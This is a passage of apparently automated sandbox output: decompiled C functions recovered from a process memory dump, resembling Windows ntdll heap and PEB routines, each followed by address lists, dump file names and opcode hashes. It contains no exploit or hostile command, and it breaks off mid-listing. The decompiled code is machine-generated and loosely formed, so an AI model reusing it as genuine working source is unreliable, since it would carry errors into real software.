                                      					_t29 = E03692581(0x3758610, (_t11 << 4) + 0x3645070, _t25, _t27, _t28);
                                      				}
                                      				if(_t29 != 0) {
                                      					 *((intOrPtr*)(_t29 + 0x38)) = _t27;
                                      					 *((char*)(_t29 + 0x40)) = 0;
                                      				}
                                      				return _t29;
                                      			}















                                      0x036923b0
                                      0x036923b6
                                      0x03692409
                                      0x03692415
                                      0x036d5ae9
                                      0x00000000
                                      0x0369241b
                                      0x0369241b
                                      0x0369241d
                                      0x03692427
                                      0x0369242e
                                      0x03692430
                                      0x03692430
                                      0x036923b8
                                      0x036923b8
                                      0x036923b8
                                      0x036923bf
                                      0x036923fc
                                      0x036923fc
                                      0x036923c1
                                      0x036923c3
                                      0x036923d0
                                      0x036923d8
                                      0x036923d8
                                      0x036923dc
                                      0x036923de
                                      0x036923e1
                                      0x036923e1
                                      0x036923ec

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 32621dd7676aea353f5e3e70b8ef0576491c2deca955ca76e23ad0f17e08d045
                                      • Instruction ID: 9c1840f81e9fe540c7a97398331dfc0663a6a2f1f236203ba95b7fbb25ec90e3
                                      • Opcode Fuzzy Hash: 32621dd7676aea353f5e3e70b8ef0576491c2deca955ca76e23ad0f17e08d045
                                      • Instruction Fuzzy Hash: B9112F31740308B7FB34FB29AC90B15B38CEB54A60F18491BFA02DF241C6F4D8418799
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 93%
                                      			E036E46A7(signed short* __ecx, unsigned int __edx, char* _a4) {
                                      				signed short* _v8;
                                      				unsigned int _v12;
                                      				intOrPtr _v16;
                                      				signed int _t22;
                                      				signed char _t23;
                                      				short _t32;
                                      				void* _t38;
                                      				char* _t40;
                                      
                                      				_v12 = __edx;
                                      				_t29 = 0;
                                      				_v8 = __ecx;
                                      				_v16 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
                                      				_t38 = L03684620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *__ecx & 0x0000ffff);
                                      				if(_t38 != 0) {
                                      					_t40 = _a4;
                                      					 *_t40 = 1;
                                      					E036AF3E0(_t38, _v8[2],  *_v8 & 0x0000ffff);
                                      					_t22 = _v12 >> 1;
                                      					_t32 = 0x2e;
                                      					 *((short*)(_t38 + _t22 * 2)) = _t32;
                                      					 *((short*)(_t38 + 2 + _t22 * 2)) = 0;
                                      					_t23 = E0369D268(_t38, 1);
                                      					asm("sbb al, al");
                                      					 *_t40 =  ~_t23 + 1;
                                      					L036877F0(_v16, 0, _t38);
                                      				} else {
                                      					 *_a4 = 0;
                                      					_t29 = 0xc0000017;
                                      				}
                                      				return _t29;
                                      			}











                                      0x036e46b7
                                      0x036e46ba
                                      0x036e46c5
                                      0x036e46c8
                                      0x036e46d0
                                      0x036e46d4
                                      0x036e46e6
                                      0x036e46e9
                                      0x036e46f4
                                      0x036e46ff
                                      0x036e4705
                                      0x036e4706
                                      0x036e470c
                                      0x036e4713
                                      0x036e471b
                                      0x036e4723
                                      0x036e4725
                                      0x036e46d6
                                      0x036e46d9
                                      0x036e46db
                                      0x036e46db
                                      0x036e4732

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
                                      • Instruction ID: f4fff02221c5260ff7dbb47cf1a3e5aa9f9e42332b06c9ccb8a1e394a75546e7
                                      • Opcode Fuzzy Hash: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
                                      • Instruction Fuzzy Hash: 3E11C276504208BBCB06DF6DD8808BEBBB9EF99304F1080AEF9448B350DA318D55D7A9
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 87%
                                      			E036A37F5(void* __ecx, intOrPtr* __edx) {
                                      				void* __ebx;
                                      				void* __edi;
                                      				signed char _t6;
                                      				intOrPtr _t13;
                                      				intOrPtr* _t20;
                                      				intOrPtr* _t27;
                                      				void* _t28;
                                      				intOrPtr* _t29;
                                      
                                      				_t27 = __edx;
                                      				_t28 = __ecx;
                                      				if(__edx == 0) {
                                      					E03682280(_t6, 0x3758550);
                                      				}
                                      				_t29 = E036A387E(_t28);
                                      				if(_t29 == 0) {
                                      					L6:
                                      					if(_t27 == 0) {
                                      						E0367FFB0(0x3758550, _t27, 0x3758550);
                                      					}
                                      					if(_t29 == 0) {
                                      						return 0xc0000225;
                                      					} else {
                                      						if(_t27 != 0) {
                                      							goto L14;
                                      						}
                                      						L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t27, _t29);
                                      						goto L11;
                                      					}
                                      				} else {
                                      					_t13 =  *_t29;
                                      					if( *((intOrPtr*)(_t13 + 4)) != _t29) {
                                      						L13:
                                      						_push(3);
                                      						asm("int 0x29");
                                      						L14:
                                      						 *_t27 = _t29;
                                      						L11:
                                      						return 0;
                                      					}
                                      					_t20 =  *((intOrPtr*)(_t29 + 4));
                                      					if( *_t20 != _t29) {
                                      						goto L13;
                                      					}
                                      					 *_t20 = _t13;
                                      					 *((intOrPtr*)(_t13 + 4)) = _t20;
                                      					asm("btr eax, ecx");
                                      					goto L6;
                                      				}
                                      			}











                                      0x036a37fa
                                      0x036a37fc
                                      0x036a3805
                                      0x036a3808
                                      0x036a3808
                                      0x036a3814
                                      0x036a3818
                                      0x036a3846
                                      0x036a3848
                                      0x036a384b
                                      0x036a384b
                                      0x036a3852
                                      0x00000000
                                      0x036a3854
                                      0x036a3856
                                      0x00000000
                                      0x00000000
                                      0x036a3863
                                      0x00000000
                                      0x036a3863
                                      0x036a381a
                                      0x036a381a
                                      0x036a381f
                                      0x036a386e
                                      0x036a386e
                                      0x036a3871
                                      0x036a3873
                                      0x036a3873
                                      0x036a3868
                                      0x00000000
                                      0x036a3868
                                      0x036a3821
                                      0x036a3826
                                      0x00000000
                                      0x00000000
                                      0x036a3828
                                      0x036a382a
                                      0x036a3841
                                      0x00000000
                                      0x036a3841

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 026a49bf2226e185f9a364a9a6f7759a7e3c9f562e7384a329d8c352497f25f8
                                      • Instruction ID: 2e6f7decc52153bf9910dc7455a7c2eac7e6b75c72e40b670f341c8d4ef6587e
                                      • Opcode Fuzzy Hash: 026a49bf2226e185f9a364a9a6f7759a7e3c9f562e7384a329d8c352497f25f8
                                      • Instruction Fuzzy Hash: 9501D67AA02E109BC337DB1D9A40E26BBAADF85A6072940ADF8458F314DB30CC01CFC4
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 42%
                                      			E0366C962(char __ecx) {
                                      				signed int _v8;
                                      				intOrPtr _v12;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				intOrPtr _t19;
                                      				char _t22;
                                      				intOrPtr _t26;
                                      				intOrPtr _t27;
                                      				char _t32;
                                      				char _t34;
                                      				intOrPtr _t35;
                                      				intOrPtr _t37;
                                      				intOrPtr* _t38;
                                      				signed int _t39;
                                      
                                      				_t41 = (_t39 & 0xfffffff8) - 0xc;
                                      				_v8 =  *0x375d360 ^ (_t39 & 0xfffffff8) - 0x0000000c;
                                      				_t34 = __ecx;
                                      				if(( *( *[fs:0x30] + 0x68) & 0x00000100) != 0) {
                                      					_t26 = 0;
                                      					E0367EEF0(0x37570a0);
                                      					_t29 =  *((intOrPtr*)(_t34 + 0x18));
                                      					if(E036EF625( *((intOrPtr*)(_t34 + 0x18))) != 0) {
                                      						L9:
                                      						E0367EB70(_t29, 0x37570a0);
                                      						_t19 = _t26;
                                      						L2:
                                      						_pop(_t35);
                                      						_pop(_t37);
                                      						_pop(_t27);
                                      						return E036AB640(_t19, _t27, _v8 ^ _t41, _t32, _t35, _t37);
                                      					}
                                      					_t29 = _t34;
                                      					_t26 = E036EF1FC(_t34, _t32);
                                      					if(_t26 < 0) {
                                      						goto L9;
                                      					}
                                      					_t38 =  *0x37570c0; // 0x0
                                      					while(_t38 != 0x37570c0) {
                                      						_t22 =  *((intOrPtr*)(_t38 + 0x18));
                                      						_t38 =  *_t38;
                                      						_v12 = _t22;
                                      						if(_t22 != 0) {
                                      							_t29 = _t22;
                                      							 *0x375b1e0( *((intOrPtr*)(_t34 + 0x30)),  *((intOrPtr*)(_t34 + 0x18)),  *((intOrPtr*)(_t34 + 0x20)), _t34);
                                      							_v12();
                                      						}
                                      					}
                                      					goto L9;
                                      				}
                                      				_t19 = 0;
                                      				goto L2;
                                      			}


















                                      0x0366c96a
                                      0x0366c974
                                      0x0366c988
                                      0x0366c98a
                                      0x036d7c9d
                                      0x036d7c9f
                                      0x036d7ca4
                                      0x036d7cae
                                      0x036d7cf0
                                      0x036d7cf5
                                      0x036d7cfa
                                      0x0366c992
                                      0x0366c996
                                      0x0366c997
                                      0x0366c998
                                      0x0366c9a3
                                      0x0366c9a3
                                      0x036d7cb0
                                      0x036d7cb7
                                      0x036d7cbb
                                      0x00000000
                                      0x00000000
                                      0x036d7cbd
                                      0x036d7ce8
                                      0x036d7cc5
                                      0x036d7cc8
                                      0x036d7cca
                                      0x036d7cd0
                                      0x036d7cd6
                                      0x036d7cde
                                      0x036d7ce4
                                      0x036d7ce4
                                      0x036d7cd0
                                      0x00000000
                                      0x036d7ce8
                                      0x0366c990
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: cbc3cea1a7891b831f6c713ec8677df796041a3462ac38c5373b216cfe730ee8
                                      • Instruction ID: 0bb1d8019d3cb5f2d465b72c407bd2a529a4789addcdd5b6b7e245bcf3e85925
                                      • Opcode Fuzzy Hash: cbc3cea1a7891b831f6c713ec8677df796041a3462ac38c5373b216cfe730ee8
                                      • Instruction Fuzzy Hash: 8911E13270074A9FC768EF28DD85A2BBBE9BB89614B44056DF8458B650DF60EC14CBD2
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E0369002D() {
                                      				void* _t11;
                                      				char* _t14;
                                      				signed char* _t16;
                                      				char* _t27;
                                      				signed char* _t29;
                                      
                                      				_t11 = E03687D50();
                                      				_t27 = 0x7ffe0384;
                                      				if(_t11 != 0) {
                                      					_t14 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
                                      				} else {
                                      					_t14 = 0x7ffe0384;
                                      				}
                                      				_t29 = 0x7ffe0385;
                                      				if( *_t14 != 0) {
                                      					if(E03687D50() == 0) {
                                      						_t16 = 0x7ffe0385;
                                      					} else {
                                      						_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
                                      					}
                                      					if(( *_t16 & 0x00000040) != 0) {
                                      						goto L18;
                                      					} else {
                                      						goto L3;
                                      					}
                                      				} else {
                                      					L3:
                                      					if(E03687D50() != 0) {
                                      						_t27 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
                                      					}
                                      					if( *_t27 != 0) {
                                      						if(( *( *[fs:0x30] + 0x240) & 0x00000004) == 0) {
                                      							goto L5;
                                      						}
                                      						if(E03687D50() != 0) {
                                      							_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
                                      						}
                                      						if(( *_t29 & 0x00000020) == 0) {
                                      							goto L5;
                                      						}
                                      						L18:
                                      						return 1;
                                      					} else {
                                      						L5:
                                      						return 0;
                                      					}
                                      				}
                                      			}








                                      0x03690032
                                      0x03690037
                                      0x03690043
                                      0x036d4b3a
                                      0x03690049
                                      0x03690049
                                      0x03690049
                                      0x0369004e
                                      0x03690053
                                      0x036d4b48
                                      0x036d4b5a
                                      0x036d4b4a
                                      0x036d4b53
                                      0x036d4b53
                                      0x036d4b5f
                                      0x00000000
                                      0x036d4b61
                                      0x00000000
                                      0x036d4b61
                                      0x03690059
                                      0x03690059
                                      0x03690060
                                      0x036d4b6f
                                      0x036d4b6f
                                      0x03690069
                                      0x036d4b83
                                      0x00000000
                                      0x00000000
                                      0x036d4b90
                                      0x036d4b9b
                                      0x036d4b9b
                                      0x036d4ba4
                                      0x00000000
                                      0x00000000
                                      0x036d4baa
                                      0x00000000
                                      0x0369006f
                                      0x0369006f
                                      0x00000000
                                      0x0369006f
                                      0x03690069

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
                                      • Instruction ID: f7ce1e6743b890900b743836ee7a765f192c5cab31a217184ba78d558a4a9b4a
                                      • Opcode Fuzzy Hash: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
                                      • Instruction Fuzzy Hash: 8F11AC32A056808FEB23D72ACA44B3577A8EB55758F1E00E1D9148B792EB38CC42C264
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 94%
                                      			E0367766D(void* __ecx, signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
                                      				char _v8;
                                      				void* _t22;
                                      				void* _t24;
                                      				intOrPtr _t29;
                                      				intOrPtr* _t30;
                                      				void* _t42;
                                      				intOrPtr _t47;
                                      
                                      				_push(__ecx);
                                      				_t36 =  &_v8;
                                      				if(E0369F3D5( &_v8, __edx * _a4, __edx * _a4 >> 0x20) < 0) {
                                      					L10:
                                      					_t22 = 0;
                                      				} else {
                                      					_t24 = _v8 + __ecx;
                                      					_t42 = _t24;
                                      					if(_t24 < __ecx) {
                                      						goto L10;
                                      					} else {
                                      						if(E0369F3D5( &_v8, _a8 * _a12, _a8 * _a12 >> 0x20) < 0) {
                                      							goto L10;
                                      						} else {
                                      							_t29 = _v8 + _t42;
                                      							if(_t29 < _t42) {
                                      								goto L10;
                                      							} else {
                                      								_t47 = _t29;
                                      								_t30 = _a16;
                                      								if(_t30 != 0) {
                                      									 *_t30 = _t47;
                                      								}
                                      								if(_t47 == 0) {
                                      									goto L10;
                                      								} else {
                                      									_t22 = L03684620(_t36,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t47);
                                      								}
                                      							}
                                      						}
                                      					}
                                      				}
                                      				return _t22;
                                      			}










                                      0x03677672
                                      0x0367767f
                                      0x03677689
                                      0x036776de
                                      0x036776de
                                      0x0367768b
                                      0x03677691
                                      0x03677693
                                      0x03677697
                                      0x00000000
                                      0x03677699
                                      0x036776a8
                                      0x00000000
                                      0x036776aa
                                      0x036776ad
                                      0x036776b1
                                      0x00000000
                                      0x036776b3
                                      0x036776b3
                                      0x036776b5
                                      0x036776ba
                                      0x036776bc
                                      0x036776bc
                                      0x036776c0
                                      0x00000000
                                      0x036776c2
                                      0x036776ce
                                      0x036776ce
                                      0x036776c0
                                      0x036776b1
                                      0x036776a8
                                      0x03677697
                                      0x036776d9

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
                                      • Instruction ID: b6e4a460cae36a948ac9fae7d1dc46cd070f4b815544040491798f25a432dff3
                                      • Opcode Fuzzy Hash: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
                                      • Instruction Fuzzy Hash: 2001AC36700219ABDB30DE5ECD41E6BB7ADEB84660F750525B908CF254DA30DD11C7A4
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 46%
                                      			E036FC450(intOrPtr* _a4) {
                                      				signed char _t25;
                                      				intOrPtr* _t26;
                                      				intOrPtr* _t27;
                                      
                                      				_t26 = _a4;
                                      				_t25 =  *(_t26 + 0x10);
                                      				if((_t25 & 0x00000003) != 1) {
                                      					_push(0);
                                      					_push(0);
                                      					_push(0);
                                      					_push( *((intOrPtr*)(_t26 + 8)));
                                      					_push(0);
                                      					_push( *_t26);
                                      					E036A9910();
                                      					_t25 =  *(_t26 + 0x10);
                                      				}
                                      				if((_t25 & 0x00000001) != 0) {
                                      					_push(4);
                                      					_t7 = _t26 + 4; // 0x4
                                      					_t27 = _t7;
                                      					_push(_t27);
                                      					_push(5);
                                      					_push(0xfffffffe);
                                      					E036A95B0();
                                      					if( *_t27 != 0) {
                                      						_push( *_t27);
                                      						E036A95D0();
                                      					}
                                      				}
                                      				_t8 = _t26 + 0x14; // 0x14
                                      				if( *((intOrPtr*)(_t26 + 8)) != _t8) {
                                      					L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t26 + 8)));
                                      				}
                                      				_push( *_t26);
                                      				E036A95D0();
                                      				return L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t26);
                                      			}






                                      0x036fc458
                                      0x036fc45d
                                      0x036fc466
                                      0x036fc468
                                      0x036fc469
                                      0x036fc46a
                                      0x036fc46b
                                      0x036fc46e
                                      0x036fc46f
                                      0x036fc471
                                      0x036fc476
                                      0x036fc476
                                      0x036fc47c
                                      0x036fc47e
                                      0x036fc480
                                      0x036fc480
                                      0x036fc483
                                      0x036fc484
                                      0x036fc486
                                      0x036fc488
                                      0x036fc48f
                                      0x036fc491
                                      0x036fc493
                                      0x036fc493
                                      0x036fc48f
                                      0x036fc498
                                      0x036fc49e
                                      0x036fc4ad
                                      0x036fc4ad
                                      0x036fc4b2
                                      0x036fc4b4
                                      0x036fc4cd

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: InitializeThunk
                                      • String ID:
                                      • API String ID: 2994545307-0
                                      • Opcode ID: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
                                      • Instruction ID: 0559366e89f7cf134f183ac0da4773f98b51f5ba50ff484f7efd4b268a16f58a
                                      • Opcode Fuzzy Hash: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
                                      • Instruction Fuzzy Hash: 7A019276140A09BFD721EF69CD80E62F7ADFF54390F244529F21446660CB21ACA0CAB4
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 69%
                                      			E03669080(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi) {
                                      				intOrPtr* _t51;
                                      				intOrPtr _t59;
                                      				signed int _t64;
                                      				signed int _t67;
                                      				signed int* _t71;
                                      				signed int _t74;
                                      				signed int _t77;
                                      				signed int _t82;
                                      				intOrPtr* _t84;
                                      				void* _t85;
                                      				intOrPtr* _t87;
                                      				void* _t94;
                                      				signed int _t95;
                                      				intOrPtr* _t97;
                                      				signed int _t99;
                                      				signed int _t102;
                                      				void* _t104;
                                      
                                      				_push(__ebx);
                                      				_push(__esi);
                                      				_push(__edi);
                                      				_t97 = __ecx;
                                      				_t102 =  *(__ecx + 0x14);
                                      				if((_t102 & 0x02ffffff) == 0x2000000) {
                                      					_t102 = _t102 | 0x000007d0;
                                      				}
                                      				_t48 =  *[fs:0x30];
                                      				if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
                                      					_t102 = _t102 & 0xff000000;
                                      				}
                                      				_t80 = 0x37585ec;
                                      				E03682280(_t48, 0x37585ec);
                                      				_t51 =  *_t97 + 8;
                                      				if( *_t51 != 0) {
                                      					L6:
                                      					return E0367FFB0(_t80, _t97, _t80);
                                      				} else {
                                      					 *(_t97 + 0x14) = _t102;
                                      					_t84 =  *0x375538c; // 0x773b6888
                                      					if( *_t84 != 0x3755388) {
                                      						_t85 = 3;
                                      						asm("int 0x29");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						_push(0x2c);
                                      						_push(0x373f6e8);
                                      						E036BD0E8(0x37585ec, _t97, _t102);
                                      						 *((char*)(_t104 - 0x1d)) = 0;
                                      						_t99 =  *(_t104 + 8);
                                      						__eflags = _t99;
                                      						if(_t99 == 0) {
                                      							L13:
                                      							__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
                                      							if(__eflags == 0) {
                                      								E037388F5(_t80, _t85, 0x3755388, _t99, _t102, __eflags);
                                      							}
                                      						} else {
                                      							__eflags = _t99 -  *0x37586c0; // 0x9007b0
                                      							if(__eflags == 0) {
                                      								goto L13;
                                      							} else {
                                      								__eflags = _t99 -  *0x37586b8; // 0x0
                                      								if(__eflags == 0) {
                                      									goto L13;
                                      								} else {
                                      									_t59 =  *((intOrPtr*)( *[fs:0x30] + 0xc));
                                      									__eflags =  *((char*)(_t59 + 0x28));
                                      									if( *((char*)(_t59 + 0x28)) == 0) {
                                      										E03682280(_t99 + 0xe0, _t99 + 0xe0);
                                      										 *(_t104 - 4) =  *(_t104 - 4) & 0x00000000;
                                      										__eflags =  *((char*)(_t99 + 0xe5));
                                      										if(__eflags != 0) {
                                      											E037388F5(0x37585ec, _t85, 0x3755388, _t99, _t102, __eflags);
                                      										} else {
                                      											__eflags =  *((char*)(_t99 + 0xe4));
                                      											if( *((char*)(_t99 + 0xe4)) == 0) {
                                      												 *((char*)(_t99 + 0xe4)) = 1;
                                      												_push(_t99);
                                      												_push( *((intOrPtr*)(_t99 + 0x24)));
                                      												E036AAFD0();
                                      											}
                                      											while(1) {
                                      												_t71 = _t99 + 8;
                                      												 *(_t104 - 0x2c) = _t71;
                                      												_t80 =  *_t71;
                                      												_t95 = _t71[1];
                                      												 *(_t104 - 0x28) = _t80;
                                      												 *(_t104 - 0x24) = _t95;
                                      												while(1) {
                                      													L19:
                                      													__eflags = _t95;
                                      													if(_t95 == 0) {
                                      														break;
                                      													}
                                      													_t102 = _t80;
                                      													 *(_t104 - 0x30) = _t95;
                                      													 *(_t104 - 0x24) = _t95 - 1;
                                      													asm("lock cmpxchg8b [edi]");
                                      													_t80 = _t102;
                                      													 *(_t104 - 0x28) = _t80;
                                      													 *(_t104 - 0x24) = _t95;
                                      													__eflags = _t80 - _t102;
                                      													_t99 =  *(_t104 + 8);
                                      													if(_t80 != _t102) {
                                      														continue;
                                      													} else {
                                      														__eflags = _t95 -  *(_t104 - 0x30);
                                      														if(_t95 !=  *(_t104 - 0x30)) {
                                      															continue;
                                      														} else {
                                      															__eflags = _t95;
                                      															if(_t95 != 0) {
                                      																_t74 = 0;
                                      																 *(_t104 - 0x34) = 0;
                                      																_t102 = 0;
                                      																__eflags = 0;
                                      																while(1) {
                                      																	 *(_t104 - 0x3c) = _t102;
                                      																	__eflags = _t102 - 3;
                                      																	if(_t102 >= 3) {
                                      																		break;
                                      																	}
                                      																	__eflags = _t74;
                                      																	if(_t74 != 0) {
                                      																		L49:
                                      																		_t102 =  *_t74;
                                      																		__eflags = _t102;
                                      																		if(_t102 != 0) {
                                      																			_t102 =  *(_t102 + 4);
                                      																			__eflags = _t102;
                                      																			if(_t102 != 0) {
                                      																				 *0x375b1e0(_t74, _t99);
                                      																				 *_t102();
                                      																			}
                                      																		}
                                      																		do {
                                      																			_t71 = _t99 + 8;
                                      																			 *(_t104 - 0x2c) = _t71;
                                      																			_t80 =  *_t71;
                                      																			_t95 = _t71[1];
                                      																			 *(_t104 - 0x28) = _t80;
                                      																			 *(_t104 - 0x24) = _t95;
                                      																			goto L19;
                                      																		} while (_t74 == 0);
                                      																		goto L49;
                                      																	} else {
                                      																		_t82 = 0;
                                      																		__eflags = 0;
                                      																		while(1) {
                                      																			 *(_t104 - 0x38) = _t82;
                                      																			__eflags = _t82 -  *0x37584c0;
                                      																			if(_t82 >=  *0x37584c0) {
                                      																				break;
                                      																			}
                                      																			__eflags = _t74;
                                      																			if(_t74 == 0) {
                                      																				_t77 = E03739063(_t82 * 0xc +  *((intOrPtr*)(_t99 + 0x10 + _t102 * 4)), _t95, _t99);
                                      																				__eflags = _t77;
                                      																				if(_t77 == 0) {
                                      																					_t74 = 0;
                                      																					__eflags = 0;
                                      																				} else {
                                      																					_t74 = _t77 + 0xfffffff4;
                                      																				}
                                      																				 *(_t104 - 0x34) = _t74;
                                      																				_t82 = _t82 + 1;
                                      																				continue;
                                      																			}
                                      																			break;
                                      																		}
                                      																		_t102 = _t102 + 1;
                                      																		continue;
                                      																	}
                                      																	goto L20;
                                      																}
                                      																__eflags = _t74;
                                      															}
                                      														}
                                      													}
                                      													break;
                                      												}
                                      												L20:
                                      												 *((intOrPtr*)(_t99 + 0xf4)) =  *((intOrPtr*)(_t104 + 4));
                                      												 *((char*)(_t99 + 0xe5)) = 1;
                                      												 *((char*)(_t104 - 0x1d)) = 1;
                                      												goto L21;
                                      											}
                                      										}
                                      										L21:
                                      										 *(_t104 - 4) = 0xfffffffe;
                                      										E0366922A(_t99);
                                      										_t64 = E03687D50();
                                      										__eflags = _t64;
                                      										if(_t64 != 0) {
                                      											_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
                                      										} else {
                                      											_t67 = 0x7ffe0386;
                                      										}
                                      										__eflags =  *_t67;
                                      										if( *_t67 != 0) {
                                      											_t67 = E03738B58(_t99);
                                      										}
                                      										__eflags =  *((char*)(_t104 - 0x1d));
                                      										if( *((char*)(_t104 - 0x1d)) != 0) {
                                      											__eflags = _t99 -  *0x37586c0; // 0x9007b0
                                      											if(__eflags != 0) {
                                      												__eflags = _t99 -  *0x37586b8; // 0x0
                                      												if(__eflags == 0) {
                                      													_t94 = 0x37586bc;
                                      													_t87 = 0x37586b8;
                                      													goto L27;
                                      												} else {
                                      													__eflags = _t67 | 0xffffffff;
                                      													asm("lock xadd [edi], eax");
                                      													if(__eflags == 0) {
                                      														E03669240(_t80, _t99, _t99, _t102, __eflags);
                                      													}
                                      												}
                                      											} else {
                                      												_t94 = 0x37586c4;
                                      												_t87 = 0x37586c0;
                                      												L27:
                                      												E03699B82(_t80, _t87, _t94, _t99, _t102, __eflags);
                                      											}
                                      										}
                                      									} else {
                                      										goto L13;
                                      									}
                                      								}
                                      							}
                                      						}
                                      						return E036BD130(_t80, _t99, _t102);
                                      					} else {
                                      						 *_t51 = 0x3755388;
                                      						 *((intOrPtr*)(_t51 + 4)) = _t84;
                                      						 *_t84 = _t51;
                                      						 *0x375538c = _t51;
                                      						goto L6;
                                      					}
                                      				}
                                      			}




















                                      0x03669082
                                      0x03669083
                                      0x03669084
                                      0x03669085
                                      0x03669087
                                      0x03669096
                                      0x03669098
                                      0x03669098
                                      0x0366909e
                                      0x036690a8
                                      0x036690e7
                                      0x036690e7
                                      0x036690aa
                                      0x036690b0
                                      0x036690b7
                                      0x036690bd
                                      0x036690dd
                                      0x036690e6
                                      0x036690bf
                                      0x036690bf
                                      0x036690c7
                                      0x036690cf
                                      0x036690f1
                                      0x036690f2
                                      0x036690f4
                                      0x036690f5
                                      0x036690f6
                                      0x036690f7
                                      0x036690f8
                                      0x036690f9
                                      0x036690fa
                                      0x036690fb
                                      0x036690fc
                                      0x036690fd
                                      0x036690fe
                                      0x036690ff
                                      0x03669100
                                      0x03669102
                                      0x03669107
                                      0x0366910c
                                      0x03669110
                                      0x03669113
                                      0x03669115
                                      0x03669136
                                      0x0366913f
                                      0x03669143
                                      0x036c37e4
                                      0x036c37e4
                                      0x03669117
                                      0x03669117
                                      0x0366911d
                                      0x00000000
                                      0x0366911f
                                      0x0366911f
                                      0x03669125
                                      0x00000000
                                      0x03669127
                                      0x0366912d
                                      0x03669130
                                      0x03669134
                                      0x03669158
                                      0x0366915d
                                      0x03669161
                                      0x03669168
                                      0x036c3715
                                      0x0366916e
                                      0x0366916e
                                      0x03669175
                                      0x03669177
                                      0x0366917e
